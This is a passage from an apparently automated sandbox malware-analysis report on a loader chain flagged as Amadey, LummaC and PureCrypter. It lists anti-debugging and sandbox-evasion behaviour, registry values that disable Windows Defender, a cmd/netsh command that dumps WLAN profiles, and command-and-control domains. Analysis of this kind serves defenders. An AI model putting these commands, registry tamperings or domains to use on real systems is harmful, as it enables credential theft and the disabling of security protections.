Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.000000000144B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWhbK
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 62dceeab4d.exe, 00000014.00000003.2889129650.0000000005BFF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: YNVMware
Source: f99547c8e6.exe, 00000029.00000002.3260965862.000000000073B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2084746911.000000000033C000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2116657210.0000000000CFC000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2133586531.0000000000CFC000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3286822987.0000000000CFC000.00000040.00000001.01000000.00000007.sdmp, f99547c8e6.exe, 00000013.00000002.3206498208.0000000001351000.00000040.00000001.01000000.0000000D.sdmp, 62dceeab4d.exe, 00000021.00000002.3284412201.0000000000C15000.00000040.00000001.01000000.0000000E.sdmp, VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000002.3267568481.000000000046E000.00000040.00000001.01000000.00000012.sdmp, f99547c8e6.exe, 00000029.00000002.3262388406.0000000001351000.00000040.00000001.01000000.0000000D.sdmp, V30AHCO282KY2KV83OC4RNYNX.exe, 0000002A.00000002.3180577809.0000000000E8E000.00000040.00000001.01000000.00000013.sdmp, skotes.exe, 0000002C.00000002.3211990551.000000000054E000.00000040.00000001.01000000.00000017.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.00000000014AB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014A8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW]9A
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_04E30790 Start: 04E307D7 End: 04E307C3 6_2_04E30790
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04B50793 rdtsc 0_2_04B50793
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_6BEFB1F7
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF273E0 LoadLibraryW,GetProcAddress,FreeLibrary, 19_2_6BF273E0
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B4645B mov eax, dword ptr fs:[00000030h] 6_2_00B4645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B4A1C2 mov eax, dword ptr fs:[00000030h] 6_2_00B4A1C2
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\build.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_6BEFB1F7
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 19_2_6BEFB66C
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_6C0AAC62
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 7064, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: build.exe.7.dr, vmG.cs Reference to suspicious API methods: GetProcAddress(a4, rU)
Source: build.exe.7.dr, nf.cs Reference to suspicious API methods: OpenProcess(1040u, bInheritHandle: false, aiGT.Id)
Source: build.exe.7.dr, nf.cs Reference to suspicious API methods: ReadProcessMemory(intPtr, lpBuffer.BaseAddress, array, array.Length, out var lpNumberOfBytesRead)
Detected PureCrypter Trojan
Source: 62dceeab4d.exe, 00000021.00000003.3122778283.0000000005D80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1222396-1-3,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,v1_disable_abandoned_cart:506070,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDisableAbandonedCart":{"disableFeatures":["msEdgeShoppingPwiloNotificationsAbandonedCarts"]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]
LummaC encrypted strings found
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: 62dceeab4d.exe, 00000014.00000003.2818361692.0000000005080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe "C:\Users\user\AppData\Local\Temp\1001312001\Final.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe "C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe "C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0F4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free, 19_2_6C0F4760
Source: axplong.exe, axplong.exe, 00000006.00000002.3286822987.0000000000CFC000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: _Program Manager
Source: f99547c8e6.exe, f99547c8e6.exe, 00000013.00000002.3206498208.0000000001351000.00000040.00000001.01000000.0000000D.sdmp Binary or memory string: CgProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B2D312 cpuid 6_2_00B2D312
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B2CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 6_2_00B2CB1A
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B165B0 LookupAccountNameA, 6_2_00B165B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFF8390 NSS_GetVersion, 19_2_6BFF8390
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
AV process strings found (often used to terminate AV products)
Source: 62dceeab4d.exe, 00000014.00000003.2959360186.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2998683785.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2959360186.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2959360186.00000000012B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
